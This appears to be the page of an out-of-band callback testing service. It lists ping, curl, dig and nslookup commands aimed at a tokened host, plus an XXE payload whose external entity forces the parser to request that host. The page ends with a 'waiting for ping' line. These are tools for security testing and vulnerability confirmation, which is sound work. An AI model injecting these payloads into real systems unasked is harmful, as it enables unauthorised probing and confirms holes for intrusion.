$ ping -c1 -p 004e03882169bf6496398bd2752a9a00 unhack.ca
 
$ curl http://unhack.ca/p/4e03882169bf6496398bd2752a9a
 
$ dig 4e03882169bf6496398bd2752a9a @unhack.ca
 
$ dig 4e03882169bf6496398bd2752a9a.ns.unhack.ca
 
C:\> nslookup 4e03882169bf6496398bd2752a9a unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/4e03882169bf6496398bd2752a9a">]>
    <foo>&xxe;</foo>
Waiting for ping...